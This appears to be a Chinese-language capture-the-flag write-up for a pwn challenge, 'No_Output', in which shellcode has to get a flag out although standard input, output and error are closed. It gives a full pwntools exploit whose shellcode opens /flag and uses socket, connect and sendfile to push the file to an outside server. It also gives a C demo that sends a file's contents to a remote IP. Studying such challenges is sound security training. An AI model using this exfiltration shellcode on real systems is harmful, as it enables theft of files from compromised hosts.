Skip to content

No_Output

程序是无沙箱的 shellcode,但关闭了 0 1 2 描述符,即关闭了标准输入,标准输出和标准错误输出

本题的解法也有很多,由于靶机是出网的,我们可以选择直接连上一个公网的服务器,使用 send 将 flag 发送到服务器上

python
#!/usr/bin/env python3
from pwn import *

context(log_level='debug', arch='amd64', os='linux')
context.terminal = ["tmux", "splitw", "-h"]
uu64 = lambda x: u64(x.ljust(8, b'\x00'))
s = lambda x: p.send(x)
sa = lambda x, y: p.sendafter(x, y)
sl = lambda x: p.sendline(x)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)

k = 1
if k:
    host = addr.split(':')
    p = remote(host[0], host[1])
else:
    p = process('./No_Output')
elf = ELF('./No_Output')

def debug():
    gdb.attach(p,'b *0x40184D\nc\n')

shellcode = '''
    mov rsp, 0xd001000
    mov rbp, 0xd002000
'''

shellcode += shellcraft.open("/flag")
shellcode += shellcraft.syscall('SYS_socket', 2, 1, 0) # 使用 syscall 创建 socket (AF_INET = 2, SOCK_STREAM = 1)
shellcode += '''
    mov rax, ........(此处为 remote ip)
    mov qword ptr [rsp], rax
    mov qword ptr [rsp + 0x8], 0
    mov rdi, 1
    mov rsi, rsp
    mov rdx, 0x10
    mov rax, SYS_connect
    syscall
'''
shellcode += shellcraft.sendfile(1, 0, 0, 0x100)

s(asm(shellcode))

p.interactive()

connect 的参数可以写一个 C 语言的 demo,编译后动调将内存复制出来

c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>

void send_file_content() {
    const char *filename = "/flag";
    const char *ip_address = "";
    int port = 3389;
    int sock;
    struct sockaddr_in server_addr;
    char buffer[1024];
    FILE *file;

    // 打开文件
    file = fopen(filename, "r");

    // 创建套接字
    sock = socket(AF_INET, SOCK_STREAM, 0);

    // 设置服务器地址
    server_addr.sin_family = AF_INET;
    server_addr.sin_port = htons(port);
    inet_pton(AF_INET, ip_address, &server_addr.sin_addr);

    // 连接到服务器
    connect(sock, (struct sockaddr *)&server_addr, sizeof(server_addr));

    // 读取文件内容并发送
    while (fgets(buffer, sizeof(buffer), file) != NULL) {
        send(sock, buffer, strlen(buffer), 0);
    }

    // 关闭文件和套接字
    fclose(file);
    close(sock);
}

也可以使用两个进程,使用一个去 ptrace 另一个,直接修改他的程序段内存,将 close012 给 nop 掉(靶机的 pid 初始都是一样的)

当然,也可以使用侧信道爆破